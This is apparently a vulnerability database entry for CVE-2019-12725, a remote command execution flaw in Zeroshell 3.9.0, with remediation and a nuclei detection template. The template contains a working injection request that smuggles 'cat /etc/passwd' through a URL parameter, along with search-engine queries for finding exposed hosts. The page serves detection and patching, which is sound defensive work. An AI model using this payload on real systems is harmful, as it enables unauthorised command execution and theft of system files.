Browse / CVEs / CVE-2019-12725
CVE-2019-12725· zeroshell / zeroshell· CWE-78
Zeroshell 3.9.0 - Remote Command Execution
criticalseverity
9.8CVSS score
90%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it
Zeroshell 3.9.0 is prone to a remote command execution vulnerability. Specifically, this issue occurs because the web application mishandles a few HTTP parameters. An unauthenticated attacker can exploit this issue by injecting OS commands inside the vulnerable parameters.
Impact
Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands on the target system.
Fix
Upgrade to 3.9.5. Be aware this product is no longer supported.
How to confirm it
Send: GET {{BaseURL}}/cgi-bin/kerbynet?Action=StartSessionSubmit&User='%0acat%20/etc/passwd%0a'&PW=
Positive when: matches /root:.*:0:0:/ AND status 200Run it with nuclei: nuclei -id CVE-2019-12725 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2019-12725
info:
name: Zeroshell 3.9.0 - Remote Command Execution
author: dwisiswant0,akincibor
severity: critical
description: Zeroshell 3.9.0 is prone to a remote command execution vulnerability. Specifically, this issue occurs because the web application mishandles a few HTTP parameters. An unauthenticated attacker can exploit this issue by injecting OS commands inside the vulnerable parameters.
impact: |
Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands on the target system.
remediation: Upgrade to 3.9.5. Be aware this product is no longer supported.
reference:
- https://www.zeroshell.org/new-release-and-critical-vulnerability/
- https://www.tarlogic.com/advisories/zeroshell-rce-root.txt
- https://github.com/X-C3LL/PoC-CVEs/blob/master/CVE-2019-12725/ZeroShell-RCE-EoP.py
- https://zeroshell.org/blog/
- http://packetstormsecurity.com/files/160211/ZeroShell-3.9.0-Remote-Command-Execution.html
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2019-12725
cwe-id: CWE-78
epss-score: 0.89955
epss-percentile: 0.99794
cpe: cpe:2.3:o:zeroshell:zeroshell:3.9.0:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: zeroshell
product: zeroshell
shodan-query: http.title:"zeroshell"
fofa-query: title="zeroshell"
google-query: intitle:"zeroshell"
tags: cve,cve2019,packetstorm,rce,zeroshell,vkev,vuln
http:
- method: GET
path:
- "{{BaseURL}}/cgi-bin/kerbynet?Action=StartSessionSubmit&User='%0acat%20/etc/passwd%0a'&PW="
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "root:.*:0:0:"
- type: status
status:
- 200References
- https://www.zeroshell.org/new-release-and-critical-vulnerability/
- https://www.tarlogic.com/advisories/zeroshell-rce-root.txt
- https://github.com/X-C3LL/PoC-CVEs/blob/master/CVE-2019-12725/ZeroShell-RCE-EoP.py
- https://zeroshell.org/blog/
- http://packetstormsecurity.com/files/160211/ZeroShell-3.9.0-Remote-Command-Execution.html
Use this check only on systems you are authorised to test. Where the data comes from